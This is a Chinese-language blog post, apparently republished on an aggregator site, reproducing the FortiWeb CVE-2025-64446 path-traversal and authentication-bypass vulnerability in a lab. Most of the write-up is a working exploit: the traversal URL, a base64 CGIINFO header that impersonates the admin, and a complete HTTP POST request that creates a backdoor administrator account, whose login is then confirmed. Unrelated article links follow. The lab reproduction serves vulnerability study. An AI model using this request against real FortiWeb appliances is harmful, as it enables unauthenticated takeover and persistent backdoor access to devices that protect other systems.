当前位置: 首页 > news >正文

复现Fortinet FortiWeb高危漏洞CVE-2025-64446:路径遍历与远程代码执行的组合攻击

复现CVE-2025–64446:Fortinet FortiWeb中的关键漏洞

在这篇短文中,我们将复现CVE-2025–64446,这是Fortinet FortiWeb中的一个关键漏洞。该漏洞的CVSS评分为9.8(关键),影响多个FortiWeb版本,包括7.0、7.2、7.4、7.6和8.0分支。

“从根本上说,FortiWeb CVE-2025–64446漏洞存在的原因是FortiWeb的GUI API处理器在处理之前未能正确验证或清理URL路径。攻击者可以制作一个恶意的HTTP请求,滥用相对路径遍历序列来突破预期的/api/v2.0/路由路径。在易受攻击的系统中,FortiWeb的Apache配置会在解析编码字符或折叠目录遍历标记之前,将任何以/api/v2.0/开头的请求转发到后端CGI处理器。这意味着,如下所示的精心构造的请求可以直接路由到内部的fwbcgi管理组件,而不是合法的API端点。” —— Picus Security

因此,正如Defused团队在X(原Twitter)帖子中所示,我们需要调用或触发如下所示的端点。这是可能的,因为存在路径遍历漏洞。另一个重要组件是“cgi-bin/fwbcgi”。

“CGI的认证函数cgi_auth信任一个名为HTTP_CGIINFO的用户提供头部。该头部包含base64编码的JSON字段,如usernameprofnameloginname。” —— Picus Security

因此,如下面的负载所示(来自X的帖子),我们只需要添加一个名为“CGIINFO”的自定义HTTP请求头部。对于其值,我们可以对{“profname”: “prof_admin”, “vdom”: “root”, “username”: “admin”,”loginname”: “admin”}进行base64编码,以冒充管理员用户。我们不需要知道管理员的密码。

/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

(来自Defused的X账户图片)

我们快速启动了一个Fortinet FortiWeb 8.0.0实例来尝试此漏洞利用。

(目标虚拟机运行在192.168.4.31的图片)

我们可以先在目标虚拟机上运行Nmap,检查有哪些监听端口。

(测试者在目标虚拟机上运行Nmap的图片)

我们还可以先尝试以管理员用户SSH到目标虚拟机,以在利用前检查当前的管理员用户。在FortiWeb CLI中运行“get system admin”。

(我们以管理员用户SSH到目标虚拟机后运行的命令图片)

负载
然后我们可以使用下面的负载来创建一个后门账户,这三个参数(nameaccess-profilepassword)是成功创建账户所需的最少参数。

POST /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1 Host: <目标主机地址> Accept-Encoding: gzip, deflate, br Content-Length: 101 CGIINFO: eyJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJ1c2VybmFtZSI6ICJhZG1pbiIsImxvZ2lubmFtZSI6ICJhZG1pbiJ9 Content-Type: application/x-www-form-urlencoded Connection: keep-alive {"data":{"name":"backdooruser1","access-profile":"prof_admin","password":"backdoorpass1"}}

(显示提供给CGIINFO自定义头部的base64值的图片)
(我们用于创建后门账户的负载图片)

最后,我们可以确认后门账户已成功创建。

(我们以backdooruser1用户SSH到目标虚拟机后运行的命令图片)

参考资料:

  • https://www.picussecurity.com/resource/blog/fortiweb-cve-2025-64446-vulnerability-path-traversal-leads-to-remote-code-execution
  • https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/
  • https://nvd.nist.gov/vuln/detail/CVE-2025-58034
  • https://x.com/DefusedCyber/status/1975242250373517373/photo/1
  • https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
  • https://horizon3.ai/attack-research/vulnerabilities/cve-2025-64446/

免责声明:
本博客提供的信息仅用于一般信息目的。虽然我总是力求准确,但某些细节可能不准确,提供的列表也可能不完整。尽管如此,我强烈建议在做出任何决定或采取行动之前,根据行业标准文档和官方来源(上面参考资料部分列出了一些)验证任何关键信息。此处表达的所有观点均为我个人观点,不代表我的雇主的观点或立场。
CSD0tFqvECLokhw9aBeRqtTv15RNmaHdiNZPviuVo928jJlaselhk65nWD039QZriEPK1A5gyFu0XLtW575tlrBbnW/rsV1/m+lpY3hEPCqmof5YgUCgvva1km4GQmVLA/J2t+6hp8+EtWy5cGV5eiHL72Jk4Q2ig8dS+OCcV8VXkciIiKrns9h5MXAJe7G0
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

http://www.cnnetsun.cn/news/702504.html

相关文章:

  • 现阶段对于大模型和小模型的思考。
  • 3步搞定Qwen3-VL-2B部署:视觉理解机器人快速上线指南
  • 使用 Python + FFmpeg 将 MP4 视频与 SRT 字幕无损合并(支持中文)
  • IBM集团战略规划方法论与规划:涵盖“内外分析、战略规划、落地保障”三大阶段,通过PEST、五力模型、业务组合矩阵等工具
  • 服饰企业价值供应链数字化管理方案:以“标准化、计划化、数据化、可视化”四大思维转型为核心,构建柔性供应链体系
  • String、String StringBuffer 和 StringBuilder 的区别是什 么?
  • Github千星项目之.Net(四)
  • 超声波重张检测传感器:工业生产中的“火眼金睛”
  • 英文文献在哪里找:实用检索渠道及方法指南
  • 计算机毕设Java基于微信小程序“今天吃什么”随机推荐系统 基于Java实现的微信小程序“智能美食选择助手” Java语言开发的微信小程序“个性化今日菜单推荐系统”
  • 信安毕业设计新颖的项目选题帮助
  • 反向传播为何如此高效?解锁其核心引擎:链式法则
  • 从“记住我”到“控制我”:Apache Shiro默认密钥反序列化攻击(CVE-2016-4437)深度攻防解析
  • 450万天价零日突袭:通杀Android12-16的静默攻击,数十亿设备安全重构迫在眉睫
  • 马斯克狂砸16亿「买」他五年!揭秘特斯拉2号人物,那个睡工厂的狠人
  • 基于51单片机2.4G无线话筒NRF24L01数字话筒伴音转发器设计套件901(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码
  • STM32单片机智能扫地智能车机器人锂电池充电+手机蓝牙APP遥控设计(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码
  • 如何提升RAG准确率?BGE-Reranker-v2-m3重排序部署教程
  • C++ 析构函数:企业级项目中的核心设计与工程化实践
  • AIVideo最新功能体验:2024年AI视频创作新趋势
  • Qwen3-Embedding-4B应用案例:多语言新闻聚类分析
  • 如何升级DeepSeek-R1模型?版本管理部署实战教程
  • freemodbus RTU校验机制深入解析
  • 教育实验室中Multisim数据库异常的系统学习指南
  • CVE-2026-1112:三峦PublicCMS中的授权不当漏洞深度解析
  • 计算模拟与AI驱动的人体心脏研究新突破
  • CCS安装教程深度剖析:常见问题与解决方案
  • 【万字总结】kali Linux系统的各种报错问题解决方法,网络安全零基础入门到精通实战教程!
  • 提高黑客办公效率神器 【Vim工具命令】,让你的黑客技术从零基础入门到精通!
  • Nacos基础入门 02,一文读懂 Nacos:服务注册与配置中心的双核心能力